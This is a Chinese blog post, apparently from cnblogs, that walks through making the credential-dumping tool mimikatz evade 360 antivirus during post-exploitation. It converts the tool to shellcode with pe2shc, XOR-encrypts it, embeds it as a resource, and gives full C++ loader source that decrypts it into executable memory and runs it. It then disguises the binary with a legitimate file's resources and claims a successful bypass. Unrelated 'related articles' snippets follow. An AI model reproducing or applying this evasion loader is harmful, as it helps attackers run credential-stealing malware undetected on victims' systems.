首页 > 其他分享 >免杀-绕过静态动态查杀

免杀-绕过静态动态查杀

时间:2023-12-16 20:00:14浏览次数:38  
标签:文件 加密 免杀 静态 查杀 工具 加载

前言

在我们后渗透时很多时候需要使用到一些敏感的工具,而这些工具大多都被360等杀软厂商标记。导致我们传入的工具无法执行或执行时被拦截。
接下来以测试工具mimitakz为例演示如何绕过这些杀软拦截,躲避查杀等。以下为具体开发细节,

程序执行时杀软拦截

360

静态查杀

何为"静态查杀"正规点叫文件实时监控,也就是在粘贴复制、下载文件落地到电脑时的一步监控行为。文件落入电脑瞬间杀软会进行检测,如果为恶意文件它会替你删掉或提醒你这是一个恶意文件。
在这一步只有两点,在沙箱模拟运行、匹配软件特征。
根据这个特征的思路,我们只需要做一件事。让我们的工具变得面目全非
使用一个很好用的工具pe2shc:https://github.com/hasherezade/pe_to_shellcode/releases/tag/v1.2
这个工具可以将任意一个dll或exe转换成shellcode同时不影响双击运行。

加密

验证静态查杀

扫描一下可以发现360在静态情况下不认识了

尝试运行

虽然静态过了,但是在运行时依然被识别到

动态查杀

"动态查杀",文件运行时或即将运行时的监控行为。这个监控的原理等比较复杂,它可以基于任何一点。如调用敏感api、内存存在特定字符串或基于打分制等等都可以成为一个查杀的点
既然静态已过,那么我们尝试动态将我们工具执行起来。

二次加密

使用pe2shc加密后,再来一层加密。使用010editor等十六进制查看工具将字节异或加密

加密保存为.bin文件

将.bin文件藏在软件资源内



之后他就会在我们的项目资源中了

加载器

以上的工作做完之后我们还需要做一个加载器
加载器,顾名思义。载入一段东西到特定的地方
在这里我们要做的就是将加密后的exe文件变成一段shellcode然后加载进内存并执行起来
具体实现:
使用c++代码做个shellloader

// shellLoader.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <windows.h>
#include <stdio.h>

#include "resource.h"
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")


int main()
{

	HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN11), L"BIN1");	//寻找资源内指定文件,获得句柄
	DWORD Size = SizeofResource(NULL, Res);	//计算资源大小
	HGLOBAL Load = LoadResource(NULL, Res);	//加载资源
	LPSTR buffer = (LPSTR)VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);	//申请虚拟内存
	memcpy(buffer, Load, Size);		//将指定资源拷贝到内存中
	for (size_t i = 0; i < Size; i++)		//将字节逐一异或解密
	{
		buffer[i] ^= 0x23;

	}
	((void(*)())buffer)();		//指针指向内存运行
}

这样我们的加载器就做好了:

锦上添花

因为压根不知道会因为什么而被查杀,所以再增加一些保障。尽量让这个文件就像是一个"正常的软件"
再使用一个工具:Resource Hacker
将我们的shellloader拖入

选择一个正常的系统文件或其他正常的文件导入并保存

导入之前的效果:

导入之后的效果:

执行

联网状态静态未被查杀

扫描文件

执行文件
正常执行且可以使用任何功能,即已免杀

结尾

该方式是其中一种处理方式,实际还有很多,例如加壳、花指令、虚拟机对抗、抹去特征等等......
最终的目的只是让杀软不认识,无法识别。
这个方法在360适用,在火绒可能就会被杀的厉害。还是需要根据实际情况去做相应的处理。

标签:文件,加密,免杀,静态,查杀,工具,加载
From: https://www.cnblogs.com/mykr3/p/17905122.html

相关文章

  • Debian 配置静态IP及DNS
    一、debian配置静态ip生效在Linux系统中,配置静态IP可以确保网络连接的稳定性和安全性。为了使debian配置静态IP生效,需要先检查系统上是否安装network-manager或ifupdown这两个网络管理工具。如果未安装,可以通过以下命令进行安装:sudoapt-getinstallnetwork-manager......
  • 静态方法注入service的部分方式
    util注入service整理后续如果有新的办法再加进来在如Util等静态方法中调用Service或mapper,初始化后会出现空指针异常:java.lang.NullPointerException。代码执行优先级的问题,在一个Java类中,存在着静态代码块,静态方法,构造函数,成员方法等等。不同形式的代码执行顺序不同:执行顺序......
  • Python实现软件设计模式1:简单工厂/静态工厂模式
    包含的角色工厂角色Factory静态方法抽象产品角色Product声明公用的抽象方法和属性具体产品角色ConcreteProduct覆盖抽象产品中声明的方法,多种产品多种覆盖模式特点可以降低系统耦合度,使用工厂方法时无需知道对象创建细节,传入工厂类的参数可以是字......
  • C++类的静态成员
    C++类的静态成员声明并使用静态成员使用static关键字将其与类关联在一块,同样,static声明的对象也可以声明访问权限public,private注意,类的静态成员存在于任何对象之外,对象中不包含任何与静态数据有关的数据,就是说类中声明的静态成员是独立于类而存在的,只是和类相关联(这里的独立并不......
  • Java第八课_构造和静态
    2.面向对象的编程构造publicclassPractice{publicstaticvoidmain(String[]args){Personperson1=newPerson();Personperson2=newPerson("lisi");Personperson3=newPerson("哪吒",3);}}publicclass......
  • .NET5_静态文件读取+脚本参数
    一、静态文件读取:1、Nuget引入:Nuget引入Microsoft.Extensions.FileProvidersSystem.IO2、配置读取静态文件的中间件////读取静态文件的中间件////Nuget引入Microsoft.Extensions.FileProviders////System.IO//app.UseSta......
  • Ubuntu 22设置静态IP
    打开终端,以管理员身份运行以下命令以编辑网络配置文件:sudonano/etc/netplan/00-installer-config.yaml在打开的文件中,找到类似于以下内容的部分:network:ethernets:enp0s3:dhcp4:trueversion:2将dhcp4:true修改为dhcp4:false,然后添加以下内容以设置静......
  • 第五十八天 网页伪静态,视图层,模板层
    内容概要网页伪静态视图层1.三板斧2.JsonResponse3.form表单上传文件4.FBV与CBV(核心)5.CBV源码(面向对象)模板层1.模板语法传值2.模板语法之过滤器3.模板语法之标签4.自定义过滤器、标签、inclusion_tag一、网页伪静态将动态网页伪装成静态网页从而提升网页被......
  • ubuntu-购买云服务器修改为root权限并安装宝塔上线官网静态页面
    1、首先在购买服务器时会让你填写用户名和密码,需要记住,然后登录默认是 在设置密码时默认登录名为ubuntu不可选 2、使用vim /etc/ssh/sshd_config修改下面的参数:PermitRootLogin yes保存退出,重启ssh服务(systemctl restart sshd)。然后在控制台重置密码,选择自定义用户,填......
  • Net Core 伪静态配置
    创建伪静态类usingMicrosoft.AspNetCore.Mvc.ApplicationModels;usingSystem.Text;namespaceMicro.Web{publicclassHtmlExtensionPageRouteModelConvention:IPageRouteModelConvention{publicvoidApply(PageRouteModelmodel){......